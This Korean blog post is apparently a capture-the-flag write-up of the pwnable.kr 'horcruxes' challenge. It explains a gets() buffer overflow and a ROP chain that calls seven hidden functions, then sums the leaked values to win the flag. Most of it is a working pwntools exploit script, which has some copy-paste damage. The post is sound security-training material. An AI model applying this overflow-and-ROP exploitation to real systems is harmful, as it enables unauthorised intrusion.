[pwnable.kr] horcruxes

2018. 8. 20. 01:20




호크룩스..



볼드모트 (Voldemort)는 7 개의 호크룩스(Horcruxes) 안쪽에 자신의 쪼개진 영혼을 숨겼습니다.

모든 호크룩스를 찾아 파괴하십시오!


앜ㅋㅋㅋ 볼드모트라니... 갑자기 해리포터

일단 접속해보면 바이너리가 하나 있는데; 포너블.kr 서버에서 분석하기 귀찮아서 다운받아서 ida로 보기로 했다.


scp -P 2222 horcruxes@pwnable.kr:/home/horcruxes/horcruxes /home/myria/pwnable.kr/horcruxes/




경험치를 다 모으면 얼마인지를 입력받아서, 그 값이 정말 경험치를 다 모은 값과 같다면 flag를 출력해준다.

get함수에서 overflow가 일어나기때문에 호크룩스 함수들을 차례로 부를 수 있다.

ROP타임... 먼저 호크룩스들의 주소를 알아보자.



함수명이 간단해서 금방 찾았따...



ROP해주자. 경험치가 막 뜬다.

근데 인티저 오버플로우가 나서 경험치가 -되기도 한다..



경험치를 다 모아서 가져다주면 플래그를 준당

ㅇ오옹



가끔 경험치가 마이너스가 될때가 있어서... 잘 처리해주어야한다..


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
 
#context.log_level = 'debug'
 
= ssh(user='horcruxes',host='pwnable.kr',port=2222,password='guest')
conn = s.connect_remote('localhost'9032)
 
call_ropme = 0x809FFFC
 
def collect_horcruxes():
    payload = "A"*0x74
    payload += p32(0xdeadbeef#sfp
    payload += p32(0x809fe4b#A
    payload += p32(0x809fe6a#B
    payload += p32(0x809fe89#C
    payload += p32(0x809fea8#D
    payload += p32(0x809fec7#E
    payload += p32(0x809fee6#F
    payload += p32(0x809ff05#G
    payload += p32(call_ropme)
    conn.recvuntil(":")
    conn.sendline(payload)
    
def Get_EXP():
    conn.recvuntil("EXP +")
    return conn.recvuntil(")")[:-1]
 
conn.recvuntil(":")
conn.sendline("1")
 
collect_horcruxes()
 
EXP = 0
for i in range(7):
    EXP += int(Get_EXP())
EXP = EXP&0xFFFFFFFF
 
if EXP>>31 == 1:
    EXP = EXP-0x100000000
log.info("EXP : %d" % EXP)
 
conn.recvuntil(":")
conn.sendline("1")
conn.recvuntil(":")
conn.sendline(str(EXP))
 
conn.interactive()
 
 
cs






'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] simple login  (0) 2018.09.24
[pwnable.kr] brain fuck  (0) 2018.09.24
[pwnable.kr] blukat  (0) 2018.08.20
[pwnable.kr] unlink  (0) 2018.08.01
[pwnable.kr] memcpy  (0) 2018.07.27

+ Recent posts